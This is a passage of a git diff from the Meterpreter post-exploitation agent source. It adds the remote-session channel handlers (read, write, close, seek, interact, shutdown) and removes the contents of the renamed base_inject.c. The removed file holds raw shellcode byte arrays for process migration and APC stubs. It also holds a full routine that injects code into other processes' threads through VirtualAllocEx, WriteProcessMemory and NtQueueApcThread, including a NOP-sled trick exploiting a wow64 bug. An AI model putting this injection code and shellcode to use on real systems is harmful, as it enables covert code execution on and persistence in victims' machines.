NULL); + + dprintf( "[CHANNEL] Done" ); + + } while (0); + + return res; +} + +/* + * core_channel_open (response) + * ----------------- + * + * Handles the response to a request to open a channel. + * + * This function takes the supplied channel identifier and creates a + * channel list entry with it. + * + * req: TLV_TYPE_CHANNEL_ID -- The allocated channel identifier + */ +DWORD remote_response_core_channel_open(Remote *remote, Packet *packet) +{ + DWORD res = ERROR_SUCCESS, channelId; + Channel *newChannel; + + do + { + channelId = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID); + + // DId the request fail? + if (!channelId) + { + res = ERROR_NOT_ENOUGH_MEMORY; + break; + } + + // Create a local instance of the channel with the supplied identifier + if (!(newChannel = channel_create(channelId, 0))) + { + res = ERROR_NOT_ENOUGH_MEMORY; + break; + } + + } while (0); + + return res; +} + +/* + * core_channel_write + * ------------------ + * + * Write data from a channel into the local output buffer for it + */ +DWORD remote_request_core_channel_write(Remote *remote, Packet *packet) +{ + Packet *response = packet_create_response(packet); + DWORD res = ERROR_SUCCESS, channelId, written = 0; + Tlv channelData; + Channel * channel = NULL; + + do + { + channelId = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID); + + // Try to locate the specified channel + if (!(channel = channel_find_by_id(channelId))) + { + res = ERROR_NOT_FOUND; + break; + } + + lock_acquire( channel->lock ); + + // Get the channel data buffer + if ((res = packet_get_tlv(packet, TLV_TYPE_CHANNEL_DATA, &channelData)) != ERROR_SUCCESS) + break; + + // Handle the write operation differently based on the class of channel + switch (channel_get_class(channel)) + { + // If it's buffered, write it to the local buffer cache + case CHANNEL_CLASS_BUFFERED: + res = channel_write_to_buffered(channel, channelData.buffer, channelData.header.length, (PULONG)&written); + break; + // If it's non-buffered, call the native write operation handler if + // one is implemented + default: + { + NativeChannelOps *ops = (NativeChannelOps *)&channel->ops; + if (ops->write) + res = ops->write(channel, packet, ops->context, + channelData.buffer, channelData.header.length, + &written); + else + res = ERROR_NOT_SUPPORTED; + } + break; + } + + } while (0); + + if( channel ) + lock_release( channel->lock ); + + // Transmit the acknowledgement + if (response) + { + packet_add_tlv_uint(response, TLV_TYPE_LENGTH, written); + packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channelId); + + res = packet_transmit_response(res, remote, response); + } + + return res; +} + +/* + * core_channel_read + * ----------------- + * + * From from the local buffer and write back to the requester + * + * Takes TLVs: + * + * req: TLV_TYPE_CHANNEL_ID -- The channel identifier to read from + * req: TLV_TYPE_LENGTH -- The number of bytes to read + */ +DWORD remote_request_core_channel_read(Remote *remote, Packet *packet) +{ + DWORD res = ERROR_SUCCESS, bytesToRead, bytesRead, channelId; + Packet *response = packet_create_response(packet); + PUCHAR temporaryBuffer = NULL; + Channel *channel = NULL; + + do + { + if (!response) + { + res = ERROR_NOT_ENOUGH_MEMORY; + break; + } + + // Get the number of bytes to read + bytesToRead = packet_get_tlv_value_uint(packet, TLV_TYPE_LENGTH); + channelId = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID); + + // Try to locate the specified channel + if (!(channel = channel_find_by_id(channelId))) + { + res = ERROR_NOT_FOUND; + break; + } + + lock_acquire( channel->lock ); + + // Allocate temporary storage + if (!(temporaryBuffer = (PUCHAR)malloc(bytesToRead))) + { + res = ERROR_NOT_ENOUGH_MEMORY; + break; + } + + switch (channel_get_class(channel)) + { + // If it's buffered, read from the local buffer and either transmit + // the buffer in the response or write it back asynchronously + // depending on the mode of the channel. + case CHANNEL_CLASS_BUFFERED: + // Read in from local + res = channel_read_from_buffered(channel, temporaryBuffer, + bytesToRead, (PULONG)&bytesRead); + break; + // Handle read I/O for the pool class + case CHANNEL_CLASS_POOL: + // If the channel has a read handler + if (channel->ops.pool.read) + res = channel->ops.pool.read(channel, packet, + channel->ops.pool.native.context, temporaryBuffer, + bytesToRead, &bytesRead); + else + res = ERROR_NOT_SUPPORTED; + break; + default: + res = ERROR_NOT_SUPPORTED; + } + + // If we've so far been successful and we have a temporary buffer... + if ((res == ERROR_SUCCESS) &&(temporaryBuffer) && (bytesRead)) + { + // If the channel should operate synchronously, add the data to theresponse + if (channel_is_flag(channel, CHANNEL_FLAG_SYNCHRONOUS)) + { + // if the channel data is ment to be compressed, compress it! + if( channel_is_flag( channel, CHANNEL_FLAG_COMPRESS ) ) + packet_add_tlv_raw(response, TLV_TYPE_CHANNEL_DATA|TLV_META_TYPE_COMPRESSED, temporaryBuffer, bytesRead); + else + packet_add_tlv_raw(response, TLV_TYPE_CHANNEL_DATA, temporaryBuffer, bytesRead); + + res = ERROR_SUCCESS; + } + // Otherwise, asynchronously write the buffer to the remote endpoint + else + { + if ((res = channel_write(channel, remote, NULL, 0, temporaryBuffer, bytesRead, NULL)) != ERROR_SUCCESS) + break; + } + } + + } while (0); + + if( channel ) + lock_release( channel->lock ); + + if (temporaryBuffer) + free(temporaryBuffer); + + // Transmit the acknowledgement + if (response) + { + packet_add_tlv_uint(response, TLV_TYPE_LENGTH, bytesRead); + packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channelId); + + res = packet_transmit_response(res, remote, response); + } + + return res; +} + +/* + * core_channel_close + * ------------------ + * + * Closes a previously opened channel. + * + * req: TLV_TYPE_CHANNEL_ID -- The channel identifier to close + */ +DWORD remote_request_core_channel_close(Remote *remote, Packet *packet) +{ + Packet *response = packet_create_response(packet); + DWORD res = ERROR_SUCCESS, channelId; + Channel *channel = NULL; + + dprintf("[CHANNEL] remote_request_core_channel_close."); + + do + { + // Get the channel identifier + channelId = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID); + + // Try to locate the specified channel + if (!(channel = channel_find_by_id(channelId))) + { + res = ERROR_NOT_FOUND; + dprintf("[CHANNEL] unable to find channel of id %d", channelId); + break; + } + + // Destroy the channel + dprintf("[CHANNEL] closing channel of id %d", channelId); + channel_destroy(channel, packet); + + if (response) + { + packet_add_tlv_uint(response, TLV_TYPE_CHANNEL_ID, channelId); + } + + } while (0); + + // Transmit the acknowledgement + if (response) + { + res = packet_transmit_response(res, remote, response); + } + + return res; +} + +/* + * core_channel_close (response) + * ------------------ + * + * Removes the local instance of the channel + * + * req: TLV_TYPE_CHANNEL_ID -- The channel identifier to close + */ +DWORD remote_response_core_channel_close(Remote *remote, Packet *packet) +{ + DWORD res = ERROR_SUCCESS, channelId; + Channel *channel = NULL; + + do + { + // Get the channel identifier + channelId = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID); + + // Try to locate the specified channel + if (!(channel = channel_find_by_id(channelId))) + { + res = ERROR_NOT_FOUND; + break; + } + + // Destroy the channel + channel_destroy(channel, packet); + + } while (0); + + return res; +} + + +/* + * core_channel_seek + * ----------------- + * + * req: TLV_TYPE_CHANNEL_ID -- The channel identifier to seek on + * req: TLV_TYPE_SEEK_OFFSET -- The offset to seek to + * req: TLV_TYPE_SEEK_WHENCE -- The relativity to which the offset refers + */ +DWORD remote_request_core_channel_seek(Remote *remote, Packet *packet) +{ + Channel *channel = NULL; + Packet *response = packet_create_response(packet); + DWORD result = ERROR_SUCCESS; + + do + { + // Lookup the channel by its identifier + if (!(channel = channel_find_by_id( + packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID)))) + { + result = ERROR_NOT_FOUND; + break; + } + + lock_acquire( channel->lock ); + + // Make sure this class is compatible + if (channel_get_class(channel) != CHANNEL_CLASS_POOL) + { + result = ERROR_NOT_SUPPORTED; + break; + } + + // Call the function if it's set + if (channel->ops.pool.seek) + result = channel->ops.pool.seek(channel, packet, + channel->ops.pool.native.context, + (LONG)packet_get_tlv_value_uint(packet, TLV_TYPE_SEEK_OFFSET), + packet_get_tlv_value_uint(packet, TLV_TYPE_SEEK_WHENCE)); + else + result = ERROR_NOT_SUPPORTED; + + } while (0); + + if( channel ) + lock_release( channel->lock ); + + // Transmit the result + packet_transmit_response(result, remote, response); + + return result; +} + +/* + * core_channel_eof + * ----------------- + * + * req: TLV_TYPE_CHANNEL_ID -- The channel identifier to check eof on + */ +DWORD remote_request_core_channel_eof(Remote *remote, Packet *packet) +{ + Channel *channel = NULL; + Packet *response = packet_create_response(packet); + DWORD result = ERROR_SUCCESS; + BOOL isEof = FALSE; + + do + { + // Lookup the channel by its identifier + if (!(channel = channel_find_by_id( + packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID)))) + { + result = ERROR_NOT_FOUND; + break; + } + + lock_acquire( channel->lock ); + + // Make sure this class is compatible + if (channel_get_class(channel) != CHANNEL_CLASS_POOL) + { + result = ERROR_NOT_SUPPORTED; + break; + } + + // Call the function if it's set + if (channel->ops.pool.eof) + result = channel->ops.pool.eof(channel, packet, + channel->ops.pool.native.context, + &isEof); + else + result = ERROR_NOT_SUPPORTED; + + } while (0); + + if( channel ) + lock_release( channel->lock ); + + // Add the EOF flag + packet_add_tlv_bool(response, TLV_TYPE_BOOL, isEof); + + // Transmit the response + packet_transmit_response(result, remote, response); + + return result; +} + +/* + * core_channel_tell + * ----------------- + * + * req: TLV_TYPE_CHANNEL_ID -- The channel identifier to check tell on + */ +DWORD remote_request_core_channel_tell(Remote *remote, Packet *packet) +{ + Channel *channel = NULL; + Packet *response = packet_create_response(packet); + DWORD result = ERROR_SUCCESS; + LONG offset = 0; + + do + { + // Lookup the channel by its identifier + if (!(channel = channel_find_by_id( + packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID)))) + { + result = ERROR_NOT_FOUND; + break; + } + + lock_acquire( channel->lock ); + + // Make sure this class is compatible + if (channel_get_class(channel) != CHANNEL_CLASS_POOL) + { + result = ERROR_NOT_SUPPORTED; + break; + } + + // Call the function if it's set + if (channel->ops.pool.tell) + result = channel->ops.pool.tell(channel, packet, + channel->ops.pool.native.context, + &offset); + else + result = ERROR_NOT_SUPPORTED; + + } while (0); + + if( channel ) + lock_release( channel->lock ); + + // Add the offset + packet_add_tlv_uint(response, TLV_TYPE_SEEK_POS, offset); + + // Transmit the response + packet_transmit_response(result, remote, response); + + return result; +} + + +/* + * core_channel_interact + * --------------------- + * + * req: TLV_TYPE_CHANNEL_ID -- The channel identifier to interact with + * req: TLV_TYPE_BOOL -- True if interactive, false if not. + */ +DWORD remote_request_core_channel_interact(Remote *remote, Packet *packet) +{ + Packet *response = packet_create_response(packet); + Channel *channel = NULL; + DWORD channelId; + DWORD result = ERROR_SUCCESS; + BOOLEAN interact; + + // Get the channel identifier + channelId = packet_get_tlv_value_uint(packet, TLV_TYPE_CHANNEL_ID); + interact = packet_get_tlv_value_bool(packet, TLV_TYPE_BOOL); + + // If the channel is found, set the interactive flag accordingly + if ((channel = channel_find_by_id(channelId))) + { + lock_acquire( channel->lock ); + + // If the response packet is valid + if ((response) && + (channel_get_class(channel) != CHANNEL_CLASS_BUFFERED)) + { + NativeChannelOps *native = (NativeChannelOps *)&channel->ops; + + // Check to see if this channel has a registered interact handler + dprintf( "[DISPATCH] attempting to set interactive: %d context 0x%p", interact, native->context ); + if (native->interact) { + result = native->interact(channel, packet, native->context, interact); + } + } + + // Set the channel's interactive state + channel_set_interactive(channel, interact); + + lock_release( channel->lock ); + } + + // Send the response to the requestor so that the interaction can be + // complete + packet_transmit_response(result, remote, response); + + return ERROR_SUCCESS; +} + +/* + * core_shutdown + * ----------------- + */ +DWORD remote_request_core_shutdown( Remote *remote, Packet *packet, DWORD* pResult ) +{ + Channel *channel = NULL; + Packet *response = packet_create_response( packet ); + DWORD result = ERROR_SUCCESS; + + // Acknowledge the shutdown request + packet_add_tlv_bool( response, TLV_TYPE_BOOL, TRUE ); + + // Transmit the response + dprintf("[DISPATCH] Ack shutdown request"); + packet_transmit_response( result, remote, response ); + + *pResult = result; + + dprintf("[DISPATCH] Telling dispatch loop to finish"); + // We always return FALSE here to tell the server to terminate. + return FALSE; +} diff --git a/c/meterpreter/source/common/arch/win/i386/base_inject.c b/c/meterpreter/source/metsrv/base_inject.c similarity index 96% rename from c/meterpreter/source/common/arch/win/i386/base_inject.c rename to c/meterpreter/source/metsrv/base_inject.c index 9db1d9df..2a217244 100644 --- a/c/meterpreter/source/common/arch/win/i386/base_inject.c +++ b/c/meterpreter/source/metsrv/base_inject.c @@ -1,569 +1,562 @@ -#include "common.h" -#include "base_inject.h" -#include "../remote_thread.h" -#include "./../../../../ReflectiveDLLInjection/inject/src/LoadLibraryR.h" -#include - -// Simple trick to get the current meterpreters arch -#ifdef _WIN64 - const DWORD dwMeterpreterArch = PROCESS_ARCH_X64; -#else - const DWORD dwMeterpreterArch = PROCESS_ARCH_X86; -#endif - -// see '/msf3/external/source/shellcode/x86/migrate/executex64.asm' -// 03.06.2017: fixed an elusive bug on AMD CPUs, http://blog.rewolf.pl/blog/?p=1484 -// found and fixed by ReWolf, incorporated by RaMMicHaeL -BYTE migrate_executex64[] = "\x55\x89\xE5\x56\x57\x8B\x75\x08\x8B\x4D\x0C\xE8\x00\x00\x00\x00" - "\x58\x83\xC0\x2B\x83\xEC\x08\x89\xE2\xC7\x42\x04\x33\x00\x00\x00" - "\x89\x02\xE8\x0F\x00\x00\x00\x66\x8C\xD8\x66\x8E\xD0\x83\xC4\x14" - "\x5F\x5E\x5D\xC2\x08\x00\x8B\x3C\xE4\xFF\x2A\x48\x31\xC0\x57\xFF" - "\xD6\x5F\x50\xC7\x44\x24\x04\x23\x00\x00\x00\x89\x3C\x24\xFF\x2C" - "\x24"; - -// see '/msf3/external/source/shellcode/x64/migrate/remotethread.asm' -BYTE migrate_wownativex[] = "\xFC\x48\x89\xCE\x48\x89\xE7\x48\x83\xE4\xF0\xE8\xC8\x00\x00\x00" - "\x41\x51\x41\x50\x52\x51\x56\x48\x31\xD2\x65\x48\x8B\x52\x60\x48" - "\x8B\x52\x18\x48\x8B\x52\x20\x48\x8B\x72\x50\x48\x0F\xB7\x4A\x4A" - "\x4D\x31\xC9\x48\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\x41\xC1\xC9" - "\x0D\x41\x01\xC1\xE2\xED\x52\x41\x51\x48\x8B\x52\x20\x8B\x42\x3C" - "\x48\x01\xD0\x66\x81\x78\x18\x0B\x02\x75\x72\x8B\x80\x88\x00\x00" - "\x00\x48\x85\xC0\x74\x67\x48\x01\xD0\x50\x8B\x48\x18\x44\x8B\x40" - "\x20\x49\x01\xD0\xE3\x56\x48\xFF\xC9\x41\x8B\x34\x88\x48\x01\xD6" - "\x4D\x31\xC9\x48\x31\xC0\xAC\x41\xC1\xC9\x0D\x41\x01\xC1\x38\xE0" - "\x75\xF1\x4C\x03\x4C\x24\x08\x45\x39\xD1\x75\xD8\x58\x44\x8B\x40" - "\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48\x44\x8B\x40\x1C\x49\x01\xD0" - "\x41\x8B\x04\x88\x48\x01\xD0\x41\x58\x41\x58\x5E\x59\x5A\x41\x58" - "\x41\x59\x41\x5A\x48\x83\xEC\x20\x41\x52\xFF\xE0\x58\x41\x59\x5A" - "\x48\x8B\x12\xE9\x4F\xFF\xFF\xFF\x5D\x4D\x31\xC9\x41\x51\x48\x8D" - "\x46\x18\x50\xFF\x76\x10\xFF\x76\x08\x41\x51\x41\x51\x49\xB8\x01" - "\x00\x00\x00\x00\x00\x00\x00\x48\x31\xD2\x48\x8B\x0E\x41\xBA\xC8" - "\x38\xA4\x40\xFF\xD5\x48\x85\xC0\x74\x0C\x48\xB8\x00\x00\x00\x00" - "\x00\x00\x00\x00\xEB\x0A\x48\xB8\x01\x00\x00\x00\x00\x00\x00\x00" - "\x48\x83\xC4\x50\x48\x89\xFC\xC3"; - -// see '/msf3/external/source/shellcode/x86/migrate/apc.asm' -BYTE apc_stub_x86[] = "\xFC\x8B\x74\x24\x04\x55\x89\xE5\xE8\x89\x00\x00\x00\x60\x89\xE5" - "\x31\xD2\x64\x8B\x52\x30\x8B\x52\x0C\x8B\x52\x14\x8B\x72\x28\x0F" - "\xB7\x4A\x26\x31\xFF\x31\xC0\xAC\x3C\x61\x7C\x02\x2C\x20\xC1\xCF" - "\x0D\x01\xC7\xE2\xF0\x52\x57\x8B\x52\x10\x8B\x42\x3C\x01\xD0\x8B" - "\x40\x78\x85\xC0\x74\x4A\x01\xD0\x50\x8B\x48\x18\x8B\x58\x20\x01" - "\xD3\xE3\x3C\x49\x8B\x34\x8B\x01\xD6\x31\xFF\x31\xC0\xAC\xC1\xCF" - "\x0D\x01\xC7\x38\xE0\x75\xF4\x03\x7D\xF8\x3B\x7D\x24\x75\xE2\x58" - "\x8B\x58\x24\x01\xD3\x66\x8B\x0C\x4B\x8B\x58\x1C\x01\xD3\x8B\x04" - "\x8B\x01\xD0\x89\x44\x24\x24\x5B\x5B\x61\x59\x5A\x51\xFF\xE0\x58" - "\x5F\x5A\x8B\x12\xEB\x86\x5B\x80\x7E\x10\x00\x75\x3B\xC6\x46\x10" - "\x01\x68\xA6\x95\xBD\x9D\xFF\xD3\x3C\x06\x7C\x1A\x31\xC9\x64\x8B" - "\x41\x18\x39\x88\xA8\x01\x00\x00\x75\x0C\x8D\x93\xCF\x00\x00\x00" - "\x89\x90\xA8\x01\x00\x00\x31\xC9\x51\x51\xFF\x76\x08\xFF\x36\x51" - "\x51\x68\x38\x68\x0D\x16\xFF\xD3\xC9\xC2\x0C\x00\x00\x00\x00\x00" - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - "\x00\x00\x00\x00"; - -// see '/msf3/external/source/shellcode/x64/migrate/apc.asm' -BYTE apc_stub_x64[] = "\xFC\x80\x79\x10\x00\x0F\x85\x13\x01\x00\x00\xC6\x41\x10\x01\x48" - "\x83\xEC\x78\xE8\xC8\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48" - "\x31\xD2\x65\x48\x8B\x52\x60\x48\x8B\x52\x18\x48\x8B\x52\x20\x48" - "\x8B\x72\x50\x48\x0F\xB7\x4A\x4A\x4D\x31\xC9\x48\x31\xC0\xAC\x3C" - "\x61\x7C\x02\x2C\x20\x41\xC1\xC9\x0D\x41\x01\xC1\xE2\xED\x52\x41" - "\x51\x48\x8B\x52\x20\x8B\x42\x3C\x48\x01\xD0\x66\x81\x78\x18\x0B" - "\x02\x75\x72\x8B\x80\x88\x00\x00\x00\x48\x85\xC0\x74\x67\x48\x01" - "\xD0\x50\x8B\x48\x18\x44\x8B\x40\x20\x49\x01\xD0\xE3\x56\x48\xFF" - "\xC9\x41\x8B\x34\x88\x48\x01\xD6\x4D\x31\xC9\x48\x31\xC0\xAC\x41" - "\xC1\xC9\x0D\x41\x01\xC1\x38\xE0\x75\xF1\x4C\x03\x4C\x24\x08\x45" - "\x39\xD1\x75\xD8\x58\x44\x8B\x40\x24\x49\x01\xD0\x66\x41\x8B\x0C" - "\x48\x44\x8B\x40\x1C\x49\x01\xD0\x41\x8B\x04\x88\x48\x01\xD0\x41" - "\x58\x41\x58\x5E\x59\x5A\x41\x58\x41\x59\x41\x5A\x48\x83\xEC\x20" - "\x41\x52\xFF\xE0\x58\x41\x59\x5A\x48\x8B\x12\xE9\x4F\xFF\xFF\xFF" - "\x5D\x48\x31\xD2\x65\x48\x8B\x42\x30\x48\x39\x90\xC8\x02\x00\x00" - "\x75\x0E\x48\x8D\x95\x07\x01\x00\x00\x48\x89\x90\xC8\x02\x00\x00" - "\x4C\x8B\x01\x4C\x8B\x49\x08\x48\x31\xC9\x48\x31\xD2\x51\x51\x41" - "\xBA\x38\x68\x0D\x16\xFF\xD5\x48\x81\xC4\xA8\x00\x00\x00\xC3\x00" - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - "\x00\x00\x00"; - -/* - * Attempt to gain code execution in the remote process via a call to ntdll!NtQueueApcThread - * Note: Windows Server 2008R2 can blue screen if you use APC injection to inject into another sessions csrss.exe - */ -DWORD inject_via_apcthread( Remote * remote, Packet * response, HANDLE hProcess, DWORD dwProcessID, DWORD dwDestinationArch, LPVOID lpStartAddress, LPVOID lpParameter ) -{ - DWORD dwResult = ERROR_ACCESS_DENIED; - HMODULE hNtdll = NULL; - NTQUEUEAPCTHREAD pNtQueueApcThread = NULL; - HANDLE hThreadSnap = NULL; - LPVOID lpApcStub = NULL; - LPVOID lpRemoteApcStub = NULL; - LPVOID lpRemoteApcContext = NULL; - LIST * thread_list = NULL; - THREADENTRY32 t = {0}; - APCCONTEXT ctx = {0}; - DWORD dwApcStubLength = 0; - - do - { - thread_list = list_create(); - if( !thread_list ) - break; - - ctx.s.lpStartAddress = lpStartAddress; - ctx.p.lpParameter = lpParameter; - ctx.bExecuted = FALSE; - - t.dwSize = sizeof( THREADENTRY32 ); - - // Get the architecture specific apc migration stub... - if( dwDestinationArch == PROCESS_ARCH_X86 ) - { - if( dwMeterpreterArch == PROCESS_ARCH_X64 ) - { - // injecting x64->x86(wow64) - - // Our injected APC ends up running in native x64 mode within the wow64 process and as such - // will need a modified stub to transition to wow64 before execuing the apc_stub_x86 stub. - - // This issue does not effect x64->x86 injection using the kernel32!CreateRemoteThread method though. - - SetLastError( ERROR_ACCESS_DENIED ); - BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: Can't do x64->x86 APC injection yet." ) - } - else - { - // injecting x86->x86 - lpApcStub = &apc_stub_x86; - dwApcStubLength = sizeof( apc_stub_x86 ); - } - } - else if( dwDestinationArch == PROCESS_ARCH_X64 ) - { - // injecting x64->x64 (and the same stub for x86(wow64)->x64) - lpApcStub = &apc_stub_x64; - dwApcStubLength = sizeof( apc_stub_x64 ); - - if( dwMeterpreterArch == PROCESS_ARCH_X86 ) - { - // injecting x86(wow64)->x64 - - // For now we leverage a bug in wow64 to get x86->x64 injection working, this - // will simply fail gracefully on systems where the technique does not work. - - MEMORY_BASIC_INFORMATION mbi = {0}; - LPVOID lpRemoteAddress = NULL; - BYTE * lpNopSled = NULL; - BYTE bStub[] = "\x48\x89\xC8\x48\xC1\xE1\x20\x48\xC1\xE9\x20\x48\xC1\xE8\x20\xFF\xE0"; - - /* - // On Windows 2003 x64 there is a bug in the implementation of NtQueueApcThread for wow64 processes. - // The call from a wow64 process to NtQueueApcThread to inject an APC into a native x64 process is sucessful, - // however the start address of the new APC in the native x64 process is not what we specify but instead it is - // the address of the wow64.dll export wow64!Wow64ApcRoutine as found in the wow64 process! We can simple VirtualAlloc - // this address (No ASLR on Windows 2003) and write a simple NOP sled which will jump to our real APC. From there - // injection will continue as normal. - - // The registers on the native x64 process after the queued APC is attempted to run: - rip = 000000006B0095F0 // address of wow64!Wow64ApcRoutine as found in the wow64 process - rcx = ( dwApcRoutine << 32 ) | dwApcRoutineContext // (our start address and param) - rdx = dwApcStatusBlock // unused - r8 = dwApcReserved // unused - - // On the WOW64 process side: - wow64:000000006B0095F0 ; Exported entry 3. Wow64ApcRoutine - wow64:000000006B0095F0 - wow64:000000006B0095F0 public Wow64ApcRoutine - - // On the native x64 process side: - ntdll:0000000077EF30A0 public KiUserApcDispatcher - ntdll:0000000077EF30A0 mov rcx, [rsp] // 32bit dwApcRoutine and 32bit dwApcRoutineContext into 64bit value - ntdll:0000000077EF30A4 mov rdx, [rsp+8] // 32bit dwApcStatusBlock - ntdll:0000000077EF30A9 mov r8, [rsp+10h] // 32bit dwApcReserved - ntdll:0000000077EF30AE mov r9, rsp - ntdll:0000000077EF30B1 call qword ptr [rsp+18h] // <--- we call the other processes wow64 address for wow64!Wow64ApcRoutine! - - // Our bStub: - 00000000 4889C8 mov rax, rcx - 00000003 48C1E120 shl rcx, 32 - 00000007 48C1E920 shr rcx, 32 - 0000000B 48C1E820 shr rax, 32 - 0000000F FFE0 jmp rax - */ - - // alloc the address of the wow64!Wow64ApcRoutine export in the remote process... - // TO-DO: parse the PE64 executable wow64.dll to get this at runtime. - lpRemoteAddress = VirtualAllocEx( hProcess, (LPVOID)0x6B0095F0, 8192, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); - if( !lpRemoteAddress ) - BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: VirtualAllocEx 0x6B0095F0 failed" ); - - if( VirtualQueryEx( hProcess, lpRemoteAddress, &mbi, sizeof(MEMORY_BASIC_INFORMATION) ) == 0 ) - BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: VirtualQueryEx failed" ); - - lpNopSled = (BYTE *)malloc( mbi.RegionSize ); - if( !lpNopSled ) - BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: malloc lpNopSled failed" ); - - memset( lpNopSled, 0x90, mbi.RegionSize ); - - if( !WriteProcessMemory( hProcess, lpRemoteAddress, lpNopSled, mbi.RegionSize, NULL ) ) - BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory lpNopSled failed" ) - - if( !WriteProcessMemory( hProcess, ((BYTE*)lpRemoteAddress + mbi.RegionSize - sizeof(bStub)), bStub, sizeof(bStub), NULL ) ) - BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory bStub failed" ) - - free( lpNopSled ); - } - } - else - { - SetLastError( ERROR_BAD_ENVIRONMENT ); - BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: Invalid target architecture" ) - } - - hNtdll = LoadLibraryA( "ntdll" ); - if( !hNtdll ) - BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: LoadLibraryA failed" ) - - pNtQueueApcThread = (NTQUEUEAPCTHREAD)GetProcAddress( hNtdll, "NtQueueApcThread" ); - if( !pNtQueueApcThread ) - BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: GetProcAddress NtQueueApcThread failed" ) - - hThreadSnap = CreateToolhelp32Snapshot( TH32CS_SNAPTHREAD, 0 ); - if( !hThreadSnap ) - BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: CreateToolhelp32Snapshot failed" ) - - if( !Thread32First( hThreadSnap, &t ) ) - BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: Thread32First failed" ) - - // Allocate memory for the apc stub and context - lpRemoteApcStub = VirtualAllocEx( hProcess, NULL, dwApcStubLength + sizeof(APCCONTEXT), MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE ); - if( !lpRemoteApcStub ) - BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: VirtualAllocEx failed" ) - - // Simply determine the apc context address - lpRemoteApcContext = ( (BYTE *)lpRemoteApcStub + dwApcStubLength ); - - dprintf( "[INJECT] -- dwMeterpreterArch=%s, lpRemoteApcStub=0x%08X, lpRemoteApcContext=0x%08X", ( dwMeterpreterArch == 2 ? "x64" : "x86" ), lpRemoteApcStub, lpRemoteApcContext ); - - // Write the apc stub to memory... - if( !WriteProcessMemory( hProcess, lpRemoteApcStub, lpApcStub, dwApcStubLength, NULL ) ) - BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory lpRemoteApcStub failed" ) - - // Write the apc context to memory... - if( !WriteProcessMemory( hProcess, lpRemoteApcContext, (LPCVOID)&ctx, sizeof(APCCONTEXT), NULL ) ) - BREAK_ON_ERROR( "[INJECT] inject_via_apcthread: WriteProcessMemory lpRemoteApcContext failed" ) - - do - { - HANDLE hThread = NULL; - - // Only proceed if we are targeting a thread in the target process - if( t.th32OwnerProcessID != dwProcessID ) - continue; - - // Open a handle to this thread so we can do the apc injection - hThread = OpenThread( THREAD_ALL_ACCESS, FALSE, t.th32ThreadID ); - if( !hThread ) - continue; - - dprintf("[INJECT] inject_via_apcthread: Trying to inject into thread %d", t.th32ThreadID ); - - // Only inject into threads we can suspend to avoid synchronization issue whereby the new metsrv will attempt - // a connection back but the client side will not be ready to accept it and we loose the session. - if( SuspendThread( hThread ) != (DWORD)-1 ) - { - list_push( thread_list, hThread ); - - // Queue up our apc stub to run in the target thread, when our apc stub is run (when the target - // thread is placed in an alertable state) it will spawn a new thread with our actual migration payload. - // Any successfull call to NtQueueApcThread will make migrate_via_apcthread return ERROR_SUCCESS. - if( pNtQueueApcThread( hThread, lpRemoteApcStub, lpRemoteApcContext, 0, 0 ) == ERROR_SUCCESS ) - { - dprintf("[INJECT] inject_via_apcthread: pNtQueueApcThread for thread %d Succeeded.", t.th32ThreadID ); - dwResult = ERROR_SUCCESS; - } - else - { - dprintf("[INJECT] inject_via_apcthread: pNtQueueApcThread for thread %d Failed.", t.th32ThreadID ); - } - } - else - { - CloseHandle( hThread ); - } - - // keep searching for more target threads to inject our apc stub into... - - } while( Thread32Next( hThreadSnap, &t ) ); - - } while( 0 ); - - if( dwResult == ERROR_SUCCESS && remote && response ) - { - // We should only run this block if we are being used for migration... - - // Send a successful response to let the ruby side know that we've pretty - // much successfully migrated and have reached the point of no return - packet_add_tlv_uint( response, TLV_TYPE_MIGRATE_TECHNIQUE, MIGRATE_TECHNIQUE_APCQUEUE ); - packet_transmit_response( ERROR_SUCCESS, remote, response ); - - // Sleep to give the remote side a chance to catch up... - Sleep( 2000 ); - } - - if( thread_list ) - { - // Resume all the threads which we queued our apc into as the remote - // client side will now be ready to handle the new conenction. - while( TRUE ) - { - HANDLE t = (HANDLE)list_pop( thread_list ); - if( !t ) - break; - ResumeThread( t ); - CloseHandle( t ); - } - - list_destroy( thread_list ); - } - - if( hThreadSnap ) - CloseHandle( hThreadSnap ); - - if( hNtdll ) - FreeLibrary( hNtdll ); - - SetLastError( dwResult ); - - return dwResult; -} - -/* - * Attempt to gain code execution in a native x64 process from a wow64 process by transitioning out of the wow64 (x86) - * enviroment into a native x64 enviroment and accessing the native win64 API's. - * Note: On Windows 2003 the injection will work but in the target x64 process issues occur with new - * threads (kernel32!CreateThread will return ERROR_NOT_ENOUGH_MEMORY). Because of this we filter out - * Windows 2003 from this method of injection, however the APC injection method will work on 2003. - */ 